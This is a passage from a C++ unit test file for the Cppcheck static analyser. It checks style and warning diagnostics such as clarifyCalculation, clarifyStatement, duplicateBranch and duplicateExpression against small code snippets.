i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n 